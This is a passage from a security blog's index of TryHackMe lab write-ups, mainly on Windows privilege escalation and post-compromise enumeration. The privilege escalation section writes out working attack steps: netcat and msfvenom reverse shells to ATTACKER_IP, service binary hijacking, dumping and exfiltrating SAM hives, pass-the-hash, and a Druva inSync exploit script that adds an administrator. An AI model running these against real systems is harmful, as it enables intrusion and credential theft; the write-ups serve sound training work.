flag?\n\u0026lt;redacted-flag\u0026gt;\nThe Chatbot Confession The challenge requires reviewing the chatbot\u0026rsquo;s conversation, identifying messages that contain private data, and submitting those as the answer.\nSharing internal links, credentials, or security tokens constitutes poor security practice.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nThe Bunny\u0026rsquo;s Browser Trail The challenge requires examining the provided HTTP logs, comparing the entries to normal browsers (Chrome, Firefox, Edge), and pinpointing the anomalous user-agent string.\nWe wonder who would use BunnyOS during the Christmas season.\nQuestion-1: What\u0026rsquo;s the flag?\n\u0026lt;redacted-flag\u0026gt;\nThe Finish Line This section invites us to continue learning with TryHackMe, earn raffle tickets for the Advent of Cyber giveaway, and anticipate the main event on the Advent of Cyber landing page.\nQuestion-1: Bring on Advent of Cyber 2025!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-00/","summary":"TryHackMe | Advent of Cyber 2025 | Day 00: Advent of Cyber Prep Track","title":"AOC25 | Day-00"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Post Compromise\nRoom: Windows Privilege Escalation DESCRIPTION:\nLearn the fundamentals of Windows privilege escalation techniques.\nWindows Privilege Escalation Local Service Account\nLow-privilege built-in account Runs services with minimal local system access Cannot authenticate to remote network resources Limited local access No network authentication Services that only need local system resources and do not require network connectivity Network Service Account\nBuilt-in Windows account Can access network resources Uses computer\u0026rsquo;s network credentials Limited network access Can authenticate to remote network resources using computer account credentials Services that need to interact with network resources but do not require specific user credentials Harvesting Passwords from Common Locations Unattended Windows Installations\nWhen Windows Deployment Services is used for deployment (to distribute a single operating system image to multiple hosts), the process requires administrative credentials. These credentials may be stored in the following locations:\nC:\\Unattend.xml C:\\Windows\\Panther\\Unattend.xml C:\\Windows\\Panther\\Unattend\\Unattend.xml C:\\Windows\\system32\\sysprep.inf C:\\Windows\\system32\\sysprep\\sysprep.xml PowerShell History\nWe can retrieve PowerShell history using either Command Prompt or PowerShell.\nUsing Command Prompt:\ntype %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt Using PowerShell:\ntype $Env:userprofile\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt Saved Windows Credentials\nWindows allows users to store credentials for other accounts on the system. We can list these saved credentials and use them to run programs with elevated privileges.\nList saved credentials:\ncmdkey /list Use saved credentials to run programs:\nrunas /savecred /user:admin cmd.exe IIS Configuration\nInternet Information Services (IIS) is the default web server on Windows. Its configuration is stored in web.config files, which may contain plaintext credentials. Potential storage locations include:\nC:\\inetpub\\wwwroot\\web.config C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config Retrieve the connection string:\ntype C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config | findstr connectionString Retrieving Credentials from Software: PuTTY\nUsers can store session credentials and configuration data in PuTTY. While PuTTY does not store SSH passwords, it may store proxy configurations with cleartext authentication credentials.\nRetrieve proxy credentials:\nreg query HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions\\ /f \u0026#34;Proxy\u0026#34; /s Other Quick Wins Scheduled Tasks\nWe can examine scheduled tasks to identify services running with elevated privileges. The Task to Run parameter indicates the binary that is executed, while the Run As User parameter specifies the security context under which the binary runs.\nCheck a specific service:\nschtasks /query /tn vulntask /fo list /v Check permissions on the binary:\nicacls c:\\tasks\\schtask.bat Note: The F permission indicates Full Access.\nExploiting Scheduled Tasks: Example\nFirst, we locate a service whose binary we have permission to modify. In this example, we identify a scheduled task named vulntask that runs c:\\tasks\\schtask.bat.\nOverwrite the binary to spawn a reverse shell:\necho c:\\tools\\nc64.exe -e cmd.exe ATTACKER_IP 4444 \u0026gt; C:\\tasks\\schtask.bat Catch the reverse connection on our attack machine:\nnc -lvp 4444 Wait for the scheduled task to run, or trigger it manually:\nschtasks /run /tn vulntask AlwaysInstallElevated\nWindows Installer files (also known as .msi files) are used to install applications on the system. They typically run with the privilege level of the user who starts them. However, these can be configured to run with higher privileges from any user account, even unprivileged ones.\nThis configuration potentially allows us to generate a malicious MSI file that runs with administrative privileges.\nThis configuration requires two registry values to be set:\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer Exploiting AlwaysInstallElevated\nIf both registry values are set, we can generate a malicious .msi file:\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi Next, we run the Metasploit handler module to catch the reverse shell. Once the malicious file is transferred to the target system, we execute it:\nmsiexec /quiet /qn /i C:\\Windows\\Temp\\malicious.msi Abusing Service Misconfigurations Windows Services\nServices have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, among other privileges. We can use Process Hacker to examine these permissions.\nCheck a service and retrieve its configuration:\nsc qc apphostsvc Note: The BINARY_PATH_NAME parameter shows the associated executable, while the SERVICE_START_NAME parameter indicates the account used to run the service. Configurations are stored under HKLM\\SYSTEM\\CurrentControlSet\\Services.\nWe can also check these using the Windows Registry Editor:\nregedit : Navigate to: Computer\\HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AppHostSvc : ImagePath: associated executable : ObjectName: the account used to start the service If a DACL is configured for the service, it will be stored in a subkey called Security.\nInsecure Permissions on Service Executable\nIf the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service\u0026rsquo;s account trivially.\nAttack Example\nStep 1: Check the service configuration.\nsc qc WindowsScheduler Step 2: Check the permissions on the executable.\nicacls C:\\PROGRA~2\\SYSTEM~1\\WService.exe Step 3: Generate the exe-service payload.\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe Step 4: Serve the payload via a Python web server.\npython3 -m http.server Step 5: Download the payload to the target.\nwget http://attackbox-ip:8000/rev-svc.exe -O rev-svc.exe Step 6: Replace the service executable.\ncd C:\\PROGRA~2\\SYSTEM~1\\ move WService.exe WService.exe.bkp move C:\\Users\\thm-unpriv\\rev-svc.exe WService.exe Step 7: Grant full permissions to the Everyone group.\nicacls WService.exe /grant Everyone:F Step 8: Start a reverse shell listener on our attack machine.\nnc -lvp 4445 Step 9: Wait for the service to restart, trigger it, or restart it manually.\nsc stop windowsscheduler sc start windowsscheduler Note: In PowerShell, sc is an alias for Set-Content. Therefore, we must use sc.exe:\nsc.exe stop windowsscheduler sc.exe start windowsscheduler Unquoted Service Paths\nWhen a service path contains spaces and is not enclosed in quotation marks, Windows attempts to locate and execute the service executable by searching each directory in the path sequentially.\nWe can create an executable with a name matching an earlier path component, causing the service to run our arbitrary executable instead of the legitimate one. Note that most service executables are installed under C:\\Program Files or C:\\Program Files (x86)\\, which are not writeable by unprivileged users by default.\nAttack Example\nStep 1: Check permissions on the target directory.\nicacls c:\\MyPrograms : AD and WD privileges indicate we can create subdirectories and files Step 2: Create the exe-service payload and transfer it to the target.\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe Step 3: Start a Netcat listener.\nnc -lvp 4446 Step 4: Once transferred, move the payload to a location where path hijacking might occur.\nmove C:\\Users\\thm-unpriv\\rev-svc2.exe C:\\MyPrograms\\Disk.exe Step 5: Grant Everyone full permissions on the file.\nicacls C:\\MyPrograms\\Disk.exe /grant Everyone:F Step 6: Wait for the service to restart or trigger it manually.\nsc stop \u0026#34;disk sorter enterprise\u0026#34; sc start \u0026#34;disk sorter enterprise\u0026#34; Insecure Service Permissions\nThe service DACL (distinct from the service\u0026rsquo;s executable DACL) may allow us to modify the configuration of a service. This allows us to point to any executable and run it with any account, including SYSTEM.\nWe check for service DACL permissions using AccessChk from the Sysinternals suite:\n: AccessChk is installed to C:\\tools\\AccessChk; run the command from that directory accesschk64.exe -qlc thmservice : SERVICE_ALL_ACCESS permission with BUILTIN\\\\Users indicates any user can reconfigure the service Attack Example\nStep 1: Create the exe-service reverse shell and start the listener.\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe nc -lvp 4447 Step 2: Transfer the reverse shell executable to the target.\nStep 3: Grant permissions to Everyone.\nicacls C:\\Users\\thm-unpriv\\rev-svc3.exe /grant Everyone:F Step 4: Reconfigure the service by changing the associated executable and account.\n: Note the spaces after the equal signs sc config THMService binPath= \u0026#34;C:\\Users\\thm-unpriv\\rev-svc3.exe\u0026#34; obj= LocalSystem Step 5: Run the service using any account.\nsc stop THMService sc start THMService Abusing Dangerous Privileges Windows Privileges\nPrivileges are rights that an account has to perform specific system-related tasks. These tasks range from the privilege to shut down the machine to privileges that bypass DACL-based access controls. Microsoft provides a complete list of privileges on Windows systems.\nSome of these privileges are potentially exploitable; the Priv2Admin project maintains a list of such privileges.\nCheck assigned privileges for the current user:\nwhoami /priv SeBackup and SeRestore\nThese privileges allow users to read and write to any file in the system, ignoring any DACL in place.\nAttack Example: Copying SAM and SYSTEM Registry Hives\nStep 1: Log in as a user who is a member of the Backup Operators group with SeBackup and SeRestore privileges.\nStep 2: Open Command Prompt as Administrator. We will be prompted for a password.\nStep 3: Verify our privileges.\nwhoami /priv Step 4: Retrieve (backup) the SAM and SYSTEM registry hives.\nreg save hklm\\system C:\\Users\\THMBackup\\system.hive reg save hklm\\sam C:\\Users\\THMBackup\\sam.hive Step 5: Copy the files to our attack machine using SMB.\nCreate an SMB share on the attack machine:\nmkdir share # Create a share named public pointing to the share directory # This requires the username and password of our current Windows session python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share Copy the files from the target:\ncopy C:\\Users\\THMBackup\\sam.hive \\\\ATTACKER_IP\\public\\ copy C:\\Users\\THMBackup\\system.hive \\\\ATTACKER_IP\\public\\ Step 6: Retrieve the user password hashes using Impacket.\npython3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL # Example output for Administrator entry: # Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Step 7: Perform Pass-the-Hash with the administrator\u0026rsquo;s hash.\npython3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP SeTakeOwnership\nThis privilege allows a user to take ownership of any object on the system, including files and registry keys. While being the owner of a file does not necessarily grant full privileges over it, ownership does allow us to assign ourselves any privileges we require. The objective is to locate a service running as SYSTEM and take ownership of the service\u0026rsquo;s executable.\nAttack Example: Abusing utilman.exe (Ease of Access option on the lock screen)\nStep 1: Log in with the user who has the SeTakeOwnership privilege.\nStep 2: Open Command Prompt as administrator.\nStep 3: Verify our privileges.\nwhoami /priv Step 4: Since Utilman runs with SYSTEM privileges, we replace the original binary.\nTake ownership of the binary:\ntakeown /f C:\\Windows\\System32\\Utilman.exe Grant our user full permissions over utilman.exe:\nicacls C:\\Windows\\System32\\Utilman.exe /grant THMTakeOwnership:F Replace utilman.exe with a copy of cmd.exe:\ncopy cmd.exe utilman.exe Step 5: Trigger Utilman.\nLock the screen, then click the Ease of Access button.\nSeImpersonate and SeAssignPrimaryToken\nThese privileges allow a process to impersonate other users and act on their behalf, typically by spawning a process or thread under the security context of another user.\nIf we take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.\nNote that the LOCAL SERVICE and NETWORK SERVICE accounts already possess these privileges, as does the IIS default account (iis apppool\\defaultapppool).\nAttack Steps Overview\nSpawn a process that allows users to connect and authenticate to it, enabling impersonation. Find a method to force privileged users to connect and authenticate to our spawned malicious process. Attack Example: Using RogueWinRM to trigger the BITS service and impersonate its SYSTEM privileges.\nBackground Information\nThe RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which exposes a PowerShell console for remote network access.\nIf the WinRM service is not running on the victim server, an attacker can start a fake WinRM service on port 5985 and capture the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, they can execute any command on behalf of the connecting user, which is SYSTEM.\nStep 1: Upload RogueWinRM to the target machine (in this example, it is already located in C:\\tools\\).\nStep 2: Verify assigned privileges.\nwhoami /priv Step 3: Start a Netcat listener on the attack machine.\nnc -lvp 4442 Step 4: Trigger the RogueWinRM exploit.\n: -p specifies the executable : -a specifies arguments to pass to the executable c:\\tools\\RogueWinRM\\RogueWinRM.exe -p \u0026#34;C:\\tools\\nc64.exe\u0026#34; -a \u0026#34;-e cmd.exe ATTACKER_IP 4442\u0026#34; Note that the BITS service stops automatically two minutes after starting.\nAbusing Vulnerable Software Unpatched Software\nThe wmic product command may not return all installed programs, depending on how the software was installed. Therefore, we should also check desktop shortcuts and available services.\nList installed software and versions:\nwmic product get name,version,vendor Search for existing exploits on installed software:\nExploit Database Packet Storm Attack Example: Exploiting Unpatched Druva inSync 6.6.3\nMultiple vulnerabilities exist in version 6.6.3 and version 6.5.0.\nThe vulnerability exists because the software runs an RPC (Remote Procedure Call) server on port 6064 with SYSTEM privileges, accessible only from localhost.\nRPC is a mechanism that allows a process to expose functions (called procedures in RPC terminology) over the network so that other machines can call them remotely.\nIn Druva inSync, one of the procedures exposed (specifically procedure number 5) on port 6064 allowed anyone to request the execution of any command. Since the RPC server runs as SYSTEM, any command is executed with SYSTEM privileges.\nThe patch requires commands to start with C:\\ProgramData\\Druva\\inSync4\\. We can exploit this by using path traversal: C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\Windows\\System32\\cmd.exe.\nHere is the original exploit and its source code:\n$ErrorActionPreference = \u0026#34;Stop\u0026#34; $cmd = \u0026#34;net user pwnd /add\u0026#34; $s = New-Object System.Net.Sockets.Socket( [System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp ) $s.Connect(\u0026#34;127.0.0.1\u0026#34;, 6064) $header = [System.Text.Encoding]::UTF8.GetBytes(\u0026#34;inSync PHC RPCW[v0002]\u0026#34;) $rpcType = [System.Text.Encoding]::UTF8.GetBytes(\u0026#34;$([char]0x0005)`0`0`0\u0026#34;) $command = [System.Text.Encoding]::Unicode.GetBytes(\u0026#34;C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\Windows\\System32\\cmd.exe /c $cmd\u0026#34;); $length = [System.BitConverter]::GetBytes($command.Length); $s.Send($header) $s.Send($rpcType) $s.Send($length) $s.Send($command) We modify the executed command via the $cmd variable to create a user and assign administrative privileges:\nnet user pwnd SimplePass123 /add \u0026amp; net localgroup administrators pwnd /add Once executed, we open an administrative Command Prompt with our newly created user \u0026ndash; pwnd \u0026ndash; and the assigned password.\nTools of the Trade WinPEAS\nWinPEAS is available as both a precompiled executable and a .bat script. It generates lengthy output, so we recommend redirecting output to a file: winpeas.exe \u0026gt; outputfile.txt.\nPrivescCheck\nPrivescCheck is a PowerShell script, requiring no binary execution. However, we may need to bypass execution policy restrictions:\nSet-ExecutionPolicy Bypass -Scope process -Force Load the module and run it:\n. .\\PrivescCheck.ps1 Invoke-PrivescCheck WES-NG\nWindows Exploit Suggester - Next Generation runs on the attacking machine. It is a Python script that requires running systeminfo on the target and transferring the output to the attack machine.\n# Update the database wes.py --update # Run the check wes.py systeminfo.txt Metasploit\nIf we already have a Meterpreter shell on the target, we can use the multi/recon/local_exploit_suggester module to list vulnerabilities.\nConclusion Additional resources for Windows privilege escalation techniques:\nPayloadsAllTheThings - Windows Privilege Escalation Priv2Admin - Abusing Windows Privileges RogueWinRM Exploit Potatoes Decoder\u0026rsquo;s Blog Token Kidnapping Hacktricks - Windows Local Privilege Escalation ","permalink":"https://onebee.blog/blog/thm/red-teaming/post-compromise/windows-privilege-escalation/","summary":"THM | Red Teaming | Post Compromise | Windows Privilege Escalation","title":"Windows Privilege Escalation"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Post Compromise\nRoom: Enumeration DESCRIPTION:\nThis room is an introduction to enumeration when approaching an unknown corporate environment.\nIntroduction This session focuses on post-exploitation enumeration, aimed at expanding access and gathering information after initial system entry. The goal is to use various tools and techniques to escalate privileges and gather data from compromised systems.\nAssumptions\nAccess to a system has already been gained, potentially with escalated privileges (e.g., admin or root access), providing a shell to the target. PrivEsc Tools\nScripts such as WinPEAS for Windows and LinPEAS for Linux facilitate privilege escalation. Enumeration Techniques\nFocuses on collecting information such as user credentials, system configurations, and network details using common tools that appear benign. Question 1: What command would you use to start the PowerShell interactive command line?\npowershell.exe\nPurpose The session focuses on gathering extensive information from a compromised system using enumeration techniques. After gaining access to a shell, the goal is to expand knowledge beyond the initial entry point.\nInitial Access and Shell\nGaining access typically provides limited knowledge of the system, akin to navigating in a dark room. Purpose of Enumeration\nTo gather information crucial for further actions, such as accessing other network systems or exfiltrating data. Data Collection Targets\nUser identities: users, groups Network configurations: hostnames, routing tables, network shares, firewall configurations, SNMP and DNS details Services: network services, service settings, and audit configurations Applications: applications and banners Potential credentials: SSH keys, plain text passwords, credentials saved on web browsers or client applications This process is integral to post-exploitation activities, enabling attackers to maximize access and loot from a compromised system.\nQuestion 1: In SSH key-based authentication, which key does the client need?\nprivate key\nLinux Enumeration System\nInformation about the distribution and release version:\nls /etc/*-release cat /etc/os-release System name and hostname:\nhostname Interesting files and directories:\ncat /etc/passwd cat /etc/group # Contains the hashed passwords; requires root privileges sudo cat /etc/shadow # Mail directory ls -lh /var/mail/ Applications:\n# To find the installed applications ls -lh /usr/bin/ # Or ls -lh /sbin/ Packages:\n# RPM-based Linux systems # -qa: query all packages rpm -qa # Debian-based Linux systems dpkg -l Users\n# Revealing usernames from /etc/passwd # Who is logged in # pts/\u0026lt;id\u0026gt; or 1 may indicate remote logon # tty\u0026lt;id\u0026gt; may indicate direct logon who # Print your effective user ID whoami # Check who is logged in and what they are doing w # Get the real and effective user and group IDs id # Check the last logons: who, when, and for how long last # Check the allowed commands for the invoking user on the current system sudo -l Networking\n# Check the IP address ip address show # Or ip a s # Or simply ip a # DNS servers cat /etc/resolv.conf Port Scan versus Netstat\nOne might think that using Nmap before gaining access to the target machine would provide a comparable result. However, this is not entirely true.\nNmap generates a relatively large number of packets to check for open ports, which can trigger intrusion detection and prevention systems. Furthermore, firewalls along the route can drop certain packets and hinder the scan, resulting in incomplete Nmap results.\nNETSTAT\nTo learn about network connections, routing tables, and interface statistics. Note: to obtain all the information, you need to run it as root. # -a : show both listening and non-listening sockets # -l : show only listening sockets # -n : show numeric output instead of resolving the IP address and port number # -t : TCP # -u : UDP # -x : UNIX # -p : show the PID and name of the program to which the socket belongs # Show programs listening on TCP sockets netstat -plt # To display all PIDs and program names sudo netstat -plt # Show all TCP and UDP listening and established connections and the program names with addresses and ports in numeric format sudo netstat -atupn Listing Open Files\nLSOF \u0026ndash; Run with root privileges for more detailed information about the processes.\n# Display only internet and network connections sudo lsof -i # Filter for a specific port; here: SMTP port 25 sudo lsof -i :25 Running Services\nPS \u0026ndash; Report a snapshot of the current processes.\n# -e : select all processes # -f : full-format # -l : long-format # -j : jobs format # -u : user-oriented format # -a : select all processes (except session leaders and processes not associated with a terminal) # -x : lift the BSD style \u0026#34;must have a tty\u0026#34; restriction # List every process on the system in various formats ps -e ps -ef ps -el # Print a process tree; more visual ps axjf # Print all running processes ps aux # Filter output for a specific user ps -ef | grep peter Questions and Answers SSH Credentials:\nUsername: user Password: THM6877 Connect to the target box with SSH: ssh user@\u0026lt;targetbox-ip\u0026gt; and input the provided password when prompted.\nQuestion 1: What is the name of the Linux distribution used in the VM?\nUbuntu\nCheck for NAME in the output.\ncat /etc/*-release Question 2: What is its version number?\n20.04.4\nCheck for DISTRIB_DESCRIPTION in the output.\ncat /etc/*-release Question 3: What is the name of the user who last logged in to the system?\nranda\nUse the only entry besides your own and the user reboot.\nlast Question 4: What is the highest listening TCP port number?\n6667\nMake sure to use -n to display the ports in numerical values.\nnetstat -ltn Question 5: What is the program name of the service listening on it?\ninspircd\nYou need elevated privileges for this. Use the same password that was provided before: THM6877.\nsudo netstat -ltnp Question 6: There is a script running in the background. Its name starts with THM. What is the name of the script?\nTHM-24765.sh\nList all current processes and filter for the string \u0026lsquo;THM\u0026rsquo;.\nps aux | grep \u0026#34;THM\u0026#34; Windows Enumeration System\n: Get detailed information about the system : Build number and installed patches systeminfo : Check installed updates; can indicate how quickly systems are being patched and updated wmic qfe get Caption,Description : Check installed and started Windows services net start : Check installed applications only wmic product get name,version,vendor Users\n: Check who you are logged in as whoami : Check your privileges whoami /priv : Check which groups you belong to whoami /groups : Check users on the system net user : Check groups on the system : If the system is a Windows Domain Controller, use net group net group : If only a local machine, use net localgroup net localgroup : List users belonging to the local administrator\u0026#39;s group net localgroup administrators : Check local settings on the machine : Min/max password age/length, lockout policy, computer role, etc. net accounts : If the machine belongs to a domain net accounts /domain Networking\n: Check the system\u0026#39;s network configuration ipconfig : Check all network-related settings ipconfig /all Port Scan versus Netstat\nYou might think that you can get an identical result by port scanning the target system; however, this is inaccurate for two reasons.\nA firewall might be blocking the scanning host from reaching specific network ports. Moreover, port scanning a system generates a considerable amount of traffic, unlike netstat, which makes zero noise.\nNETSTAT \u0026ndash; Network connections, routing tables, interface statistics, and more.\n# -a : all listening ports # -b : display binary involved in the connection # -n : avoid resolving IP addresses # -o : display process IDs (PID) : All listening ports with involved binary and PID; do not resolve IPs netstat -abno ARP \u0026ndash; Discover other systems on the local network.\n# -a : show current ARP entries : Check for systems on the same LAN arp -a Questions and Answers SSH Credentials:\nUsername: user Password: THM33$$88 Connect to the target box with SSH: ssh user@\u0026lt;targetbox-ip\u0026gt; and input the provided password when prompted.\nQuestion 1: What is the full OS Name?\nMicrosoft Windows Server 2019 Datacenter\nUse systeminfo and look for \u0026lsquo;OS Name\u0026rsquo;.\nQuestion 2: What is the OS Version?\n10.0.17763\nUse systeminfo and look for \u0026lsquo;OS Version\u0026rsquo;.\nQuestion 3: How many hotfixes are installed on this MS Windows Server?\n30\nUse systeminfo and look for \u0026lsquo;Hotfix(s)\u0026rsquo;.\nQuestion 4: What is the lowest TCP port number listening on the system?\n22\nUse netstat and filter for TCP connections.\nnetstat -an -p tcp Question 5: What is the name of the program listening on that port?\nsshd.exe\nSimply add the -b flag to the previous query.\nnetstat -anb -p tcp DNS, SMB, and SNMP DNS Zone Transfer\nA DNS zone transfer is a mechanism that allows a secondary DNS server to replicate the DNS database from a primary DNS server. This process ensures that the secondary server has an identical copy of the DNS database, enabling it to take over DNS resolution if the primary server fails.\nZone transfers are typically performed using the DNS protocol (UDP or TCP on port 53) and involve the transfer of DNS zone files, which contain mappings between domain names and IP addresses, as well as other DNS record types.\nIt is important to note that zone transfers should be restricted to authorized secondary servers to prevent unauthorized access and potential DNS spoofing attacks.\nDNS\nDNS zone transfer: Get a copy of all the records a DNS server is responsible for answering. Depending on the DNS server configuration, DNS zone transfer might be restricted. # DNS zone transfer attempt # -t AXFR: requesting a zone transfer # @DNS_SERVER: the server we want to query regarding the records related to the specified DOMAIN_NAME dig -t AXFR DOMAIN_NAME @DNS_SERVER # Example dig -t AXFR redteam.thm @\u0026lt;targetbox-ip\u0026gt; SMB\n: Check for shared folders net share SNMP\nSimple Network Management Protocol (SNMP) was designed to help collect information about different devices on the network. It holds information about various network events. SNMPCHECK\nA simple tool to query servers related to SNMP. snmpcheck (GUI) versus snmp-check (CLI) # Example usage on the attack box; located at /opt/snmpcheck/ /opt/snmpcheck/snmpcheck.rb 10.10.121.106 -c COMMUNITY_STRING # Install instructions git clone https://gitlab.com/kalilinux/packages/snmpcheck.git cd snmpcheck/ gem install snmp chmod +x snmpcheck-1.9.rb Questions and Answers SSH Credentials:\nUsername: user Password: THM33$$88 Connect to the target box with SSH: ssh user@\u0026lt;targetbox-ip\u0026gt; and input the provided password when prompted.\nQuestion 1: Knowing that the domain name on the MS Windows Server of IP \u0026lt;targetbox-ip\u0026gt; is redteam.thm, use dig to carry out a domain transfer. What is the flag that you get in the records?\n\u0026lt;redacted-flag\u0026gt;\nTry carrying out a domain transfer (on your attack box). The flag can be found in the TXT records related to flag.redteam.thm.\ndig -t AXFR redteam.thm @\u0026lt;targetbox-ip\u0026gt; Question 2: What is the name of the share available over SMB protocol and starts with THM?\n\u0026lt;redacted-flag\u0026gt;\nUse net share on the target box to which you are connected via SSH. The share of interest maps to c:\\users\\user\\private, and the Remark reads \u0026ldquo;Enjoy SMB shares\u0026rdquo;.\nQuestion 3: Knowing that the community string used by the SNMP service is public, use snmpcheck to collect information about the MS Windows Server of IP \u0026lt;targetbox-ip\u0026gt;. What is the location specified?\n\u0026lt;redacted-flag\u0026gt;\nFirst, verify by scanning both the TCP and UDP ports related to SNMP. The TCP port appears to be filtered, while the UDP port is open.\nuser@kali:~$ nmap -sS -sU -p 161 10.10.121.106 ... PORT STATE SERVICE 161/tcp filtered snmp 161/udp open snmp ... user@kali:~$ Since TCP appears to be filtered, try disabling TCP enumeration (using the -d flag) in our first attempt. The flag appears right at the beginning in the System information section mapped to the Location record.\nuser@kali:~$ snmp-check -c public -d ... [+] Try to connect to 10.10.121.106:161 using SNMPv1 and community 'public' [+] TCP connections enumeration disabled [*] System information: ... Description : Hardware: AMD64 Family 23 Model 1 Stepping 2 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free) Contact : TryHackMe Location : THM{\u0026lt;redacted-flag\u0026gt;} ... user@kali:~$ More Tools for Windows Sysinternals Suite\nComplete list of utilities A group of command-line and GUI utilities and tools Freely available Process Explorer: Shows the processes along with the open files and registry keys Process Monitor: Monitor the file system, processes, and registry PsList: Information about processes PsLoggedOn: Logged-in users Process Hacker\nEfficient and reliable MS Windows GUI tool Information about running processes and related active network connections Information about system resource utilization (CPU, memory, disk, network) Freely available GhostPack Seatbelt\nPart of the GhostPack collection Written in C# Not officially released in binary; you need to compile it yourself using MS Visual Studio Question 1: What utility from Sysinternals Suite shows the logged-in users?\nPsLoggedOn\nConclusion Question 1: Congratulations on finishing this room. It is time to continue your journey with the next room in this module.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/post-compromise/enumeration/","summary":"THM | Red Teaming | Post Compromise | Enumeration","title":"Enumeration"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Post Compromise\nRoom: The Lay of the Land DESCRIPTION:\nLearn about and get hands-on with common technologies and security products used in corporate environments; both host and network-based security solutions are covered.\nIntroduction In red team engagements, establishing a clear understanding of the compromised machine\u0026rsquo;s environment is crucial. This involves conducting extensive reconnaissance and enumeration to gather critical information.\nThe process begins with obtaining initial access, followed by post-exploitation activities aimed at learning about the network infrastructure, Active Directory structure, user and group access permissions, host-based security tools, network-based security solutions, and operational applications and services.\nThis comprehensive approach helps red teams map out potential attack vectors, mimic real-world adversary behaviors, and strategically exploit weaknesses. The goal is to create a detailed environment model, facilitating informed decision-making for subsequent phases of the engagement.\nQuestion 1: Let\u0026rsquo;s start learning!\nNo answer needed\nDeploy the VM RDP Access Credentials:\nUsername: kkidd Password: Pass123321@ We connected via RDP using the following command:\nxfreerdp3 /u:\u0026#34;kkidd\u0026#34; /p:\u0026#34;Pass123321@\u0026#34; /v:\u0026lt;targetbox-ip\u0026gt; /dynamic-resolution /compression /network:auto /gfx:AVC420:on +clipboard -themes Question 1: Let\u0026rsquo;s discuss the common network infrastructure in the next task!\nNo answer needed\nNetwork Infrastructure During a red team engagement on an unknown network, the primary objective upon gaining initial access is to determine the specific target system, its service function, and the overall network environment. This process involves meticulous enumeration of the compromised machine to gather essential information about its configuration, services, and connections.\nNetwork Segmentation\nA security measure that divides a network into multiple subnets, enhancing both security and management. It aims to safeguard sensitive data, such as customer records and financial information, from unauthorized access.\nVLANs (Virtual Local Area Networks)\nVLANs address issues such as broadcast storms and improve overall security. Within a VLAN, hosts can only communicate with others within the same network segment.\nInternal Networks\nSegmented based on device importance or data accessibility. Implement segmentation to manage traffic, enhance performance, and bolster security.\nDMZ (Demilitarized Zone)\nActs as a buffer zone between the internal network and the public internet. Protects internal assets from direct internet access while allowing necessary traffic.\nNetwork Enumeration\nChecking TCP and UDP ports, established connections, routing tables, and ARP tables.\nNETSTAT\nnetstat \\? # Displays protocol statistics and current TCP/IP network connections. # -n: Displays addresses and port numbers in numerical form. # -a: Displays all connections and listening ports. netstat -na # -r: Displays the routing table. # -b: Displays the executable involved in creating each connection or listening port (requires elevated privileges). ARP\n# Displays and modifies the IP-to-Physical address translation tables used by address resolution protocol (ARP). # help arp # -a: Displays current ARP entries by interrogating the current protocol data. arp -a # -v: Displays current ARP entries in verbose mode. All invalid entries and entries on the loop-back interface will be shown. arp -a -v Question 1: Read the above!\nNo answer needed\nActive Directory (AD) Environment Active Directory (AD) is a Windows-based directory service that centralizes user management, authentication, and authorization within a network. It organizes and manages network resources such as users, computers, printers, and more, providing essential information like job titles, contact details, passwords, and permissions.\nDomain Controllers\nA Windows server that provides Active Directory services and controls the entire domain. Centralized servers managing the domain, responsible for encryption, access control, resource sharing, and containing high-value data.\nOrganizational Units (OUs): Hierarchical containers within domains for organizing users and resources.\nActive Directory Objects\nInclude users, groups, and hardware components like computers and printers. Domains maintain databases with object information.\nExamples:\nUsers: A security principal that is allowed to authenticate to machines in the domain. Computers: A special type of user account. GPOs: Collections of policies that are applied to other AD objects. Other Structures\nAD Domains: Collections of AD components, with a forest being a group of interconnected domains. Service Accounts: Types include built-in local users, domain 